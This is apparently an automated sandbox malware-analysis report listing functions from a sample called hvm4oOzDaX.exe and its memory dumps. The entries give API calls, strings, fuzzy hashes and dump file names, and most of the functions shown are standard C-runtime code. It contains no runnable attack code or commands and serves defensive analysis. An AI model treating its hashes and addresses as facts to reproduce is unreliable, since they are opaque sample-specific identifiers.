Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 95010d729c9058774f15a7cf8f5dacf6367eb285395d52ca300c8e26b156bdd9
Instruction ID: d9dcc3e5fe16bdce254290b2b7dc8605e647b21a7cac7c74f5ab9bfc5a2656b0
Opcode Fuzzy Hash: 95010d729c9058774f15a7cf8f5dacf6367eb285395d52ca300c8e26b156bdd9
Instruction Fuzzy Hash: 83510474E04246EFFB10DFB48C85A9E7BE4EF413D0F124169E95497289EB769A00CB51

Function 04B592EF Relevance: 12.1, APIs: 8, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042AF64,00000FA0,?,?,04B592CD), ref: 04B592FB
GetModuleHandleW.KERNEL32(0041DFB8,?,?,04B592CD), ref: 04B59306
GetModuleHandleW.KERNEL32(0041DFFC,?,?,04B592CD), ref: 04B59317
GetProcAddress.KERNEL32(00000000,0041E018), ref: 04B59329
GetProcAddress.KERNEL32(00000000,0041E034), ref: 04B59337
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,04B592CD), ref: 04B5935A
RtlDeleteCriticalSection.NTDLL(0042AF64), ref: 04B59376
CloseHandle.KERNEL32(0042AF60,?,?,04B592CD), ref: 04B59386

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID:
API String ID: 2565136772-0
Opcode ID: f40741635cb42056a58b419ea30317dd48f67c6f9c1bd194eb93f888c376e813
Instruction ID: 70e8b723cdd2eae77f4688faf33b16370e756735ad78d8f25da67e432da50b08
Opcode Fuzzy Hash: f40741635cb42056a58b419ea30317dd48f67c6f9c1bd194eb93f888c376e813
Instruction Fuzzy Hash: 2D01B5F1F40321EBD7202F70BD08B9A7BA8EB8CB01B194071FD05D21B0DBACD4028A69

Function 100028D6 Relevance: 10.6, APIs: 7, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 1000291D
___scrt_uninitialize_crt.LIBCMT ref: 10002937

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction ID: 04769ff959a67eddfc0a91c70c155494b73e6b711ec1a15a155288148215b0b0
Opcode Fuzzy Hash: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction Fuzzy Hash: 3741F372E05229AFFB21CF68CC41BAF7BA4EB846D0F114119F84467258DB309E419BA1

Function 04CF9FE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 04CFA017
___except_validate_context_record.LIBVCRUNTIME ref: 04CFA01F
_ValidateLocalCookies.LIBCMT ref: 04CFA0A8
__IsNonwritableInCurrentImage.LIBCMT ref: 04CFA0D3
_ValidateLocalCookies.LIBCMT ref: 04CFA128

Strings

csm, xrefs: 04CFA0BD

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction ID: 02ed3da176320049f94a72230680090ba0795208dd5a9570a4d9163b30b2759e
Opcode Fuzzy Hash: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction Fuzzy Hash: 4B41E534A00208EFDF50DF68DC84A9EBBB6EF45318F148055EE199B391D73ABA15CB91

Function 0040ABE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0040AC17
___except_validate_context_record.LIBVCRUNTIME ref: 0040AC1F
_ValidateLocalCookies.LIBCMT ref: 0040ACA8
__IsNonwritableInCurrentImage.LIBCMT ref: 0040ACD3
_ValidateLocalCookies.LIBCMT ref: 0040AD28

Strings

csm, xrefs: 0040ACBD

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction ID: 3b4537d877df667a26a5f7af8fbb8c140355993206fc9854477fa74853602e25
Opcode Fuzzy Hash: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction Fuzzy Hash: 5E41E634A003089BDF10DF69C844A9FBBB1EF45318F14806AEC156B3D2C7399A65CBDA

Function 10003A20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 10003A57
___except_validate_context_record.LIBVCRUNTIME ref: 10003A5F
_ValidateLocalCookies.LIBCMT ref: 10003AE8
__IsNonwritableInCurrentImage.LIBCMT ref: 10003B13
_ValidateLocalCookies.LIBCMT ref: 10003B68

Strings

csm, xrefs: 10003AFD

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction ID: 53213870faae5245fec6ed73a44d54790f208d332314260de239e107b7581961
Opcode Fuzzy Hash: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction Fuzzy Hash: 2A41E434A002189FDF02CF68C881A9FBBF9EF453A8F11C065E9149B356C771EA15CB91

Function 0041611C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\hvm4oOzDaX.exe, xrefs: 00416121
obA, xrefs: 0041616D

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\hvm4oOzDaX.exe$obA
API String ID: 0-2647889507
Opcode ID: 25d76702c84b0b1a2803db8c0b9f12018f39228ab9c5ebd3ea8f3f736e5c4ef2
Instruction ID: d8f7faa714452712b8dd2e2ad71d7e848a624b740a48fc3c62d8856f0a647b07
Opcode Fuzzy Hash: 25d76702c84b0b1a2803db8c0b9f12018f39228ab9c5ebd3ea8f3f736e5c4ef2
Instruction Fuzzy Hash: E321F971600219BFDB20AF668C81DAB776DEF00368712863BFD15D7291D738ED8187A8

Function 00411B4A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 00411BA1
ext-ms-, xrefs: 00411BB5

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: e542fd5fe1f20daa28cc2bb0b7df5d538cfe0501b749800661c5dcfdf3bad05e
Instruction ID: 9472c79033c58d28bd5fab4bb402529842eae37fc53cf50cf89856cde478e707
Opcode Fuzzy Hash: e542fd5fe1f20daa28cc2bb0b7df5d538cfe0501b749800661c5dcfdf3bad05e
Instruction Fuzzy Hash: 1F21D571E09221ABCB218B259C44BDB3758AF017A4F254527EE06A73A0F63CFC41C6E8

Function 100072FC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 10007353
ext-ms-, xrefs: 10007367

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction ID: 4a8ea71034e84b8525c0961ad639e20c08c2bf99947945f029ec6b94e21b7784
Opcode Fuzzy Hash: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction Fuzzy Hash: DC219671E01321EBF722DB648C81A4E37A4FB456E0B214124ED59A7195D778EE00A6E1

Function 04D06482 Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 04D0644A: _free.LIBCMT ref: 04D0646F

_free.LIBCMT ref: 04D064D0
_free.LIBCMT ref: 04D064DB
_free.LIBCMT ref: 04D064E6
_free.LIBCMT ref: 04D0653A
_free.LIBCMT ref: 04D06545
_free.LIBCMT ref: 04D06550
_free.LIBCMT ref: 04D0655B

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 68c17f3537dccb6f407bd63d1e3096b2584649c38850d27baa78e981a952f3fd
Instruction ID: ac17cb0af868b7526b005f1881a5d85344935facab28da11e2c1ee98c68393b6
Opcode Fuzzy Hash: 68c17f3537dccb6f407bd63d1e3096b2584649c38850d27baa78e981a952f3fd
Instruction Fuzzy Hash: 17113D72785B04BAE721BBB0CC06FCB779CEF04708F40C819A69A670D1DA69F5558661

Function 00417082 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041704A: _free.LIBCMT ref: 0041706F

_free.LIBCMT ref: 004170D0

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 004170DB
_free.LIBCMT ref: 004170E6
_free.LIBCMT ref: 0041713A
_free.LIBCMT ref: 00417145
_free.LIBCMT ref: 00417150
_free.LIBCMT ref: 0041715B

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7beb403989f2ff45ac883155ca3436412fe8c3dddbb890deb39d287985adf827
Instruction ID: 17f1ba636a3ac0ac971b1a3f484e478362915a153c89e36741bf365215ef3bb6
Opcode Fuzzy Hash: 7beb403989f2ff45ac883155ca3436412fe8c3dddbb890deb39d287985adf827
Instruction Fuzzy Hash: 9C118EB2585744B6D520B772CC06FCB7BEC6F48304F40481FB69E66063EA2CAAC04645

Function 1000C5BF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 1000C587: _free.LIBCMT ref: 1000C5AC

_free.LIBCMT ref: 1000C60D

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

_free.LIBCMT ref: 1000C618
_free.LIBCMT ref: 1000C623
_free.LIBCMT ref: 1000C677
_free.LIBCMT ref: 1000C682
_free.LIBCMT ref: 1000C68D
_free.LIBCMT ref: 1000C698

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c4c0a627cdf80609df9843e8342f0dd46d11e13b3267d69b732be6628a16741d
Instruction ID: 1780f257e170a803287b818d598211b5e25d48ac92953e35ea001cf34306b7c8
Opcode Fuzzy Hash: c4c0a627cdf80609df9843e8342f0dd46d11e13b3267d69b732be6628a16741d
Instruction Fuzzy Hash: 25115479940B08AAF520EB70CC47FCF7B9CEF457C1F400819B29D76097DA75B6484AA1

Function 04B672E9 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 04B672B1: _free.LIBCMT ref: 04B672D6

_free.LIBCMT ref: 04B67337

Part of subcall function 04B61D29: HeapFree.KERNEL32(00000000,00000000,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?), ref: 04B61D3F
Part of subcall function 04B61D29: GetLastError.KERNEL32(?,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?,?), ref: 04B61D51

_free.LIBCMT ref: 04B67342
_free.LIBCMT ref: 04B6734D
_free.LIBCMT ref: 04B673A1
_free.LIBCMT ref: 04B673AC
_free.LIBCMT ref: 04B673B7
_free.LIBCMT ref: 04B673C2

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 68c17f3537dccb6f407bd63d1e3096b2584649c38850d27baa78e981a952f3fd
Instruction ID: c5043a0cf87ac6ebf1149f30beff7435cc5c3d2a62f907687b900e3b8d0edb66
Opcode Fuzzy Hash: 68c17f3537dccb6f407bd63d1e3096b2584649c38850d27baa78e981a952f3fd
Instruction Fuzzy Hash: 3B112E75540B18BAEA20BBB0CC45FCB779CEF06B0CF404859F2ABB6050DE6DB5549B60

Function 00417CD3 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000020,00000000,00000000), ref: 00417D1B
__fassign.LIBCMT ref: 00417EFA
__fassign.LIBCMT ref: 00417F17
WriteFile.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00417F5F
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00417F9F
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041804B

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 7d169ff53d2c182e8e6c437c86224f09291a86b025f17f4b0d862f02f7e42911
Instruction ID: bf6bde338aaa4c5312f696cbfa7b8c1c2da82e764b9ff6896d8d464e3c4a4b13
Opcode Fuzzy Hash: 7d169ff53d2c182e8e6c437c86224f09291a86b025f17f4b0d862f02f7e42911
Instruction Fuzzy Hash: 13D19C71E042589FCF15CFA8C9809EEBBB5FF49314F29006AE815BB341D735A986CB58

Function 04B67F3A Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,00000000), ref: 04B67F82
__fassign.LIBCMT ref: 04B68161
__fassign.LIBCMT ref: 04B6817E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 04B681C6
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 04B68206
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 04B682B2

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 7b0876cbb8b9c7573fbc639d1b90b5e6ef59ffe5efa56104f918bce5801debe4
Instruction ID: 4a25b31541ed0933b02c805444c1992ee2f1c37b1302585632ba1bace276fde5
Opcode Fuzzy Hash: 7b0876cbb8b9c7573fbc639d1b90b5e6ef59ffe5efa56104f918bce5801debe4
Instruction Fuzzy Hash: 56D1BB71E026589FCF15DFE8C8809EDBBB5FF48304F2801AAE816BB241D635A946CF50

Function 1000B6D8 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 1000B720
__fassign.LIBCMT ref: 1000B905
__fassign.LIBCMT ref: 1000B922
WriteFile.KERNEL32(?,10009A1A,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000B96A
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 1000B9AA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000BA52

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 32d4bb0d0fb78e9b700753294cc147154fce03c70a5209c95aaa7034331b4c1e
Instruction ID: 817bf58f8fa712ded97291eda06853010b29bdec4c6be72b636a35a8a914ce65
Opcode Fuzzy Hash: 32d4bb0d0fb78e9b700753294cc147154fce03c70a5209c95aaa7034331b4c1e
Instruction Fuzzy Hash: 9DC1CF75D006989FEB11CFE8C8809EDBBB5EF09354F28816AE855F7245D631AE42CB60

Function 0040ADA4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040AD9B,0040A35F,00409999), ref: 0040ADB2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040ADC0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040ADD9
SetLastError.KERNEL32(00000000,0040AD9B,0040A35F,00409999), ref: 0040AE2B

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction ID: f4b61bc4878066cd9e5532c4ff7823403916b0aca9ffed94e046062e6da044f3
Opcode Fuzzy Hash: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction Fuzzy Hash: 6201D8722493125FE6342A76BC459572A54EB51779720033FF910B71E2EF3D4C32558E

Function 10003DFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,10003C01,10002DB0,100027A7,?,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8), ref: 10003E08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003E16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 10003E2F
SetLastError.KERNEL32(00000000,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8,?,00000001,?), ref: 10003E81

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction ID: cea4d4d1ab0609a38d25ccf127c64f3389598815618148a6298b3cccc824aafb
Opcode Fuzzy Hash: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction Fuzzy Hash: 610124379083A66EF25BC7B49CC964B379AEB0D3F53208329F114410F8EFA29E45A244

Function 04B5B00B Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,04B5B002,04B5A5C6,04B59C00), ref: 04B5B019
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04B5B027
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04B5B040
SetLastError.KERNEL32(00000000,04B5B002,04B5A5C6,04B59C00), ref: 04B5B092

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction ID: a22d7a9d761b21adbc66d7f6a5c9090f1c3ecbbf37cb90f7878395ae85dfe3c7
Opcode Fuzzy Hash: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction Fuzzy Hash: 6301A73270D3116FBB347FB87C84B66AB55EB016B872402BAFD24560F1EF5A78126548

Function 04D04F18 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 04D04F66
_free.LIBCMT ref: 04D050B2

Strings

*?, xrefs: 04D04F5B

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: _free_strpbrk
String ID: *?
API String ID: 3300345361-2564092906
Opcode ID: 9801757e2809db45aacd2951d7023101c81a7ef7fa1d77123c738ef8fc315dd7
Instruction ID: eb8b773fb91e2d91cba27857834897654ba0c042a2d2c54a93f6668a60fb86b1
Opcode Fuzzy Hash: 9801757e2809db45aacd2951d7023101c81a7ef7fa1d77123c738ef8fc315dd7
Instruction Fuzzy Hash: A6613CB5E00219AFDB14CFA8D890AEDFBF5FF48314B24816AD915E7340E675AE418B90

Function 00415B18 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 00415B66
_free.LIBCMT ref: 00415CB2

Strings

*?, xrefs: 00415B5B

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: _free_strpbrk
String ID: *?
API String ID: 3300345361-2564092906
Opcode ID: 0b6f9c8e298a88ef6bfcf1d60ea57791d65df11c988ce29e8962c90e9ece18a3
Instruction ID: 08919aac2af5baaa0bc26bb502442345b411eba09a4371073371dd33b5eb5490
Opcode Fuzzy Hash: 0b6f9c8e298a88ef6bfcf1d60ea57791d65df11c988ce29e8962c90e9ece18a3
Instruction Fuzzy Hash: 34613F75E00619DFCB14CFA9C8815EEFBF5EF88354B24816AE815F7300E675AE818B94

Function 04B65D7F Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 04B65DCD
_free.LIBCMT ref: 04B65F19

Strings

*?, xrefs: 04B65DC2

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: _free_strpbrk
String ID: *?
API String ID: 3300345361-2564092906
Opcode ID: 9801757e2809db45aacd2951d7023101c81a7ef7fa1d77123c738ef8fc315dd7
Instruction ID: f5371e5b2e08a15e5efe89469a447901c58021cd392160a9e4f76e3714c8a390
Opcode Fuzzy Hash: 9801757e2809db45aacd2951d7023101c81a7ef7fa1d77123c738ef8fc315dd7
Instruction Fuzzy Hash: A2615075E00219AFDF24CFA8D8809EDFBF5EF48314B1485AAE956F7340D635AE418B90

Function 10008336 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\hvm4oOzDaX.exe, xrefs: 1000833B

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
